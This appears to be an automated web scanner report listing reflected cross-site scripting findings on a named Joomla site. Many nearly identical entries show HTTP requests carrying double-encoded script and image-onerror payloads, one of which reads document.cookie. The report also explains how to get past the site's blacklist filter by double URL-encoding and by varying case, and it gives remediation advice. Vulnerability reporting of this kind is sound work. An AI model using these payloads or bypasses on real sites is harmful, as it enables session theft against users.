GET /index.php/317fb%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e72dcb99ea8d HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html X-Requested-With: XMLHttpRequest Accept: text/javascript, text/html, application/xml, text/xml, */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:27:04 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13568
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/index.php/317fb"><img src=a onerror=alert(1)>72dcb99ea8d" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a86e%2522%253e%253cScRiPt%253ealert%25281%2529%253c%252fScRiPt%253e34ea042109 was submitted in the REST URL parameter 1. This input was echoed as 2a86e"><ScRiPt>alert(1)</ScRiPt>34ea042109 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
Request
GET /2a86e%2522%253e%253cScRiPt%253ealert%25281%2529%253c%252fScRiPt%253e34ea042109 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:43 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 32271
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/2a86e"><ScRiPt>alert(1)</ScRiPt>34ea042109" /> ...[SNIP]...
4.1200. http://www.lithuanianjoomla.com/joomla-naujienos.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.lithuanianjoomla.com
Path:
/joomla-naujienos.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ad78%2522%253e%253ca%253efcdf697ff5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3ad78"><a>fcdf697ff5 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos.html?3ad78%2522%253e%253ca%253efcdf697ff5=1 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:04:30 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 21399
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fdb66%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaabda2089b1 was submitted in the REST URL parameter 1. This input was echoed as fdb66"><script>alert(1)</script>aabda2089b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienosfdb66%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaabda2089b1/2-laikas-isrinkti-geriausia-pasaulyje-tvs.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:47 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16708
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienosfdb66"><script>alert(1)</script>aabda2089b1/2-laikas-isrinkti-geriausia-pasaulyje-tvs.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7d3e%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee139b2265d1 was submitted in the REST URL parameter 2. This input was echoed as c7d3e"><img src=a onerror=alert(1)>e139b2265d1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/c7d3e%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ee139b2265d1 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:20 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13613
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/c7d3e"><img src=a onerror=alert(1)>e139b2265d1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71d66%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b01289864a was submitted in the REST URL parameter 1. This input was echoed as 71d66"><script>alert(1)</script>2b01289864a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos71d66%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2b01289864a/3-lithuanianjoomlacom-logotipo-konkursas.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:45 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 17565
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos71d66"><script>alert(1)</script>2b01289864a/3-lithuanianjoomlacom-logotipo-konkursas.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d852%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e0357309bacf was submitted in the REST URL parameter 2. This input was echoed as 5d852"><img src=a onerror=alert(1)>0357309bacf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/5d852%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e0357309bacf HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:19 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 19121
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/5d852"><img src=a onerror=alert(1)>0357309bacf" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61b93%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e948eee3faae was submitted in the REST URL parameter 1. This input was echoed as 61b93"><script>alert(1)</script>948eee3faae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos61b93%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e948eee3faae/4-lietuviskas-joomla-puslapis-lithuanianjoomlacom.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:24 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 14436
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos61b93"><script>alert(1)</script>948eee3faae/4-lietuviskas-joomla-puslapis-lithuanianjoomlacom.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5a70%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ef34b3f0f1a5 was submitted in the REST URL parameter 2. This input was echoed as e5a70"><img src=a onerror=alert(1)>f34b3f0f1a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/e5a70%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ef34b3f0f1a5 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:06 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13613
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/e5a70"><img src=a onerror=alert(1)>f34b3f0f1a5" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77c06%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e261bfa3051b was submitted in the REST URL parameter 1. This input was echoed as 77c06"><script>alert(1)</script>261bfa3051b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos77c06%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e261bfa3051b/5-pirmasis-joomla-gimtadienis.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:56 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 19138
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos77c06"><script>alert(1)</script>261bfa3051b/5-pirmasis-joomla-gimtadienis.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12fa2%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e2d7b242762e was submitted in the REST URL parameter 2. This input was echoed as 12fa2"><img src=a onerror=alert(1)>2d7b242762e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/12fa2%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e2d7b242762e HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:26 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/12fa2"><img src=a onerror=alert(1)>2d7b242762e" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71a12%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea5928bb97d6 was submitted in the REST URL parameter 1. This input was echoed as 71a12"><script>alert(1)</script>a5928bb97d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos71a12%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea5928bb97d6/6-joomla-vel-laimejo-geriausios-tvs-apdavanojimus.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:13 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16194
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos71a12"><script>alert(1)</script>a5928bb97d6/6-joomla-vel-laimejo-geriausios-tvs-apdavanojimus.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80a32%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ebb4de7b080c was submitted in the REST URL parameter 2. This input was echoed as 80a32"><img src=a onerror=alert(1)>bb4de7b080c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/80a32%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253ebb4de7b080c HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:59 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/80a32"><img src=a onerror=alert(1)>bb4de7b080c" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acb65%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee24b05286a1 was submitted in the REST URL parameter 1. This input was echoed as acb65"><script>alert(1)</script>e24b05286a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienosacb65%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee24b05286a1/65-joomla-1522-versija-istaiso-saugumo-spraga.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:12 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 15924
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienosacb65"><script>alert(1)</script>e24b05286a1/65-joomla-1522-versija-istaiso-saugumo-spraga.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e877%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253efe0b1bcf6c was submitted in the REST URL parameter 2. This input was echoed as 9e877"><img src=a onerror=alert(1)>fe0b1bcf6c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienos/9e877%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253efe0b1bcf6c HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:07:58 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13612
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienos/9e877"><img src=a onerror=alert(1)>fe0b1bcf6c" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad9c6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e980e766959d was submitted in the REST URL parameter 1. This input was echoed as ad9c6"><script>alert(1)</script>980e766959d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /joomla-naujienosad9c6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e980e766959d/67-joomla-16-rc1-versija.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:06:45 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 16747
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/joomla-naujienosad9c6"><script>alert(1)</script>980e766959d/67-joomla-16-rc1-versija.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 732e7%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253effdce0069 was submitted in the REST URL parameter 2. This input was echoed as 732e7"><img src=a onerror=alert(1)>ffdce0069 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
